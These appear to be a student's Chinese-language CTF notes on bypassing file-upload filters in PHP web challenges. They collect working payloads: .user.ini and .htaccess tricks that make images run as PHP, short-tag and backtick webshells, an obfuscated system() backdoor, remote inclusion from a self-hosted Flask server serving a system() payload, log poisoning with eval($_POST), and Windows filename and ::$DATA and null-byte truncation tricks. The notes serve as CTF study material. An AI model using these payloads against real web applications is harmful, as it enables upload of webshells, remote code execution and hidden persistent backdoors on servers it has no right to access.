js前端检测

什么用都没有,直接改包

.user.ini

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

auto_prepend_file=filename //包含在文件头
auto_append_file=filename //包含在文件尾

eg:

//.user.ini
auto_prepend_file=1.png

//1.png
<?php phpinfo();?>

//1.php(任意php文件)

waf

双写后缀

如题
应用场景:黑名单、使用str_ireplace()将匹配到的黑名单中的内容替换为空。

ban php

短标签形式<?=system("tac ../f*");?>

ban ()

反引号<?=`tac ../f*`?>

ban;

直接不用就好了<?=system("tac ../f*")?> 上面那个也行

ban 反引号 php ,利用文件包含

  • include命令去配合php伪协议进行读取 拼接php
    <?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
  • session包含
    详见web162.py

ban 文件头

添加 GIF89a

远程文件包含

什么鬼啊,测试不通


//GIF89a
//auto_prepend_file=http://730853355/

GIF89a
<?=include"http://730853355"?>

我误了,php搭建的服务器不知道为什么不行,flask路由即可,妙哉妙哉

from flask import Flask
app = Flask(__name__)

@app.route('/')
def home():
return "<?php system('tac ../f*'); ?>"

if __name__ == '__main__':
app.run(host='0.0.0.0', port=9000)

GIF89a
auto_prepend_file=http://730853355:9000

二次渲染

图片里的马没了

png,jgp渲染都在GD库里面,所以可以用imagecreatefrompng函数来读取图片,然后再用imagepng函数来渲染图片,这样就可以绕过waf了。

文件里有脚本和图片,直接利用就好

文件头

gif的文件头为GIF89a;png的文件头为89504E47;jpg的文件头为FFD8FF

Content-Type

text/html:HTML 格式
text/plain:纯文本格式
text/xml:XML 格式
image/gif:GIF 图片
image/jpeg:JPEG 图片
image/png:PNG 图片
audio/mpeg:MPEG 音频
audio/ogg:OGG 音频
audio/*:所有音频类型
video/mp4:MP4 视频
application/octet-stream:二进制流数据(例如,一些未知的或自定义的文件类型)
application/json:JSON 数据
application/pdf:PDF 数据
application/xml:XML 数据
application/zip x-zip-compressed:ZIP 压缩包
multipart/form-data:用于表单数据的提交

.htaccess

.htaccess文件中有两种写法

<FilesMatch "xxx.png">
SetHandler application/x-httpd-php
</FilesMatch>
xxx.png即可作为php脚本解析

或者是

AddType application/x-httpd-php .jpg
.jpg为后缀额度文件都当做php解析

免杀

<?php 
$poc="s#y#s#t#e#m";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_REQUEST['1']);
?>

日志文件包含

User-Agent: <?php @eval($_POST['a']);?>

.user.ini
auto_prepend_file=/var/log/nginx/access.log

满足这三个文件在同一目录下,则相当于在1.php文件里插入了包含语句require(‘1.png’),进行了文件包含

特殊可解析后缀

黑名单规则不严谨,在某些特定的环境中,某些特殊的后缀名仍然会被当做php文件解析。
Php|php2|php3|php4|php5|php6|php7|pht|phtm|phtml
比如,黑名单禁止上传.asp|.aspx|.php|.jsp后缀文件。但是Apache的httpd.conf配置文件中,有这样一行内容:AddType application/x-httpd-php .php .php3 .phtml
这里上传.php、.php3、.phtml后缀的文件都可以当做php文件来执行。

利用操作系统特性-Windows

利用Windows对于文件和文件名的限制,以下字符放在结尾时,不符合操作系统的命名规范,在最后生成文件时,字符会被自动去除。

上传文件名服务器文件名说明
file.php[空格]file.php
file.php[.]file.php无论多少个.都可以
file.php[%80-%99]file.phpBurp抓包,在文件名结尾输%80,CTRL+SHIFT+U进行URL-DECODE,或者增加一个空格,再在HEX视图中把20修改为80
上传文件名服务器生成文件名内容
file.php::$DATAfile.phpfile.php中的实际内容
file.php::$DATA......file.php实际

  • 空格绕过
    应用场景:服务器为Windows平台,在对用户上传的文件名进行处理时,没有使用trim()函数去除字符串收尾处的空白字符。

利用方式:用户上传图片马时,用Burp拦截,在文件尾部加入空格。例如:xxx.jpg<space>。带有空格的后缀可以绕过黑名单的检测,而文件存在在Windows服务器上,会自动去除后缀中的空格。

  • 点绕过
    应用场景:Windows平台,服务端没有使用deldot()删除文件名末尾的点。

利用方式:上传名为assert.php.的文件。在Windows服务器中,后缀名之后的点,在保存时,会被自动忽略。

  • ::$DATA绕过
    应用场景:Windows平台,没有使用str_ireplace()::$DATA替换为空,导致可以利用NTFS文件流特性。

利用方式:

假设xxx.php的内容为<?php phpinfo();?>

上传的文件名服务器表面现象生成的文件内容
xxx.php:a.jpg生成xxx.php
xxx.php::$DATA生成 xxx.php<?php phpinfo();?>
xxx.php::$INDEX_ALLOCATION生成xxx.php文件夹
xxx.php::$DATA.jpg生成0.jpg<?php phpinfo();?>
xxx.php::$DATA\aaa.jpg生成aaa.jpg<?php phpinfo();?>
这里,我们上传一个名为xxx.php::$DATA的木马,然后,在浏览器中访问xxx.php。

0x00截断

条件:php版本<5.3.4、php.ini中的magic_quotes_gpc设置为off、上传路径可控、白名单

利用方式:

如果上传文件的路径为:用户可控的上传路径/随机数.白名单中的后缀 正常情况下,服务器拼接得到的上传图像地址为$img_path =../upload/5920201223231032.gif 但是,用户如果在可控上传路径中写入一个php后缀,并且php后缀后面有一个0x00字符 服务器拼接得到的上传图像地址会变为$img_path =../upload/xxx.php[0x00]/5920201223231032.gif对后缀进行白名单检测,为gif。但是保存在服务器上的文件,却是xxx.php,因为0x00之后的内容被截断了。

0x0a截断
原理同上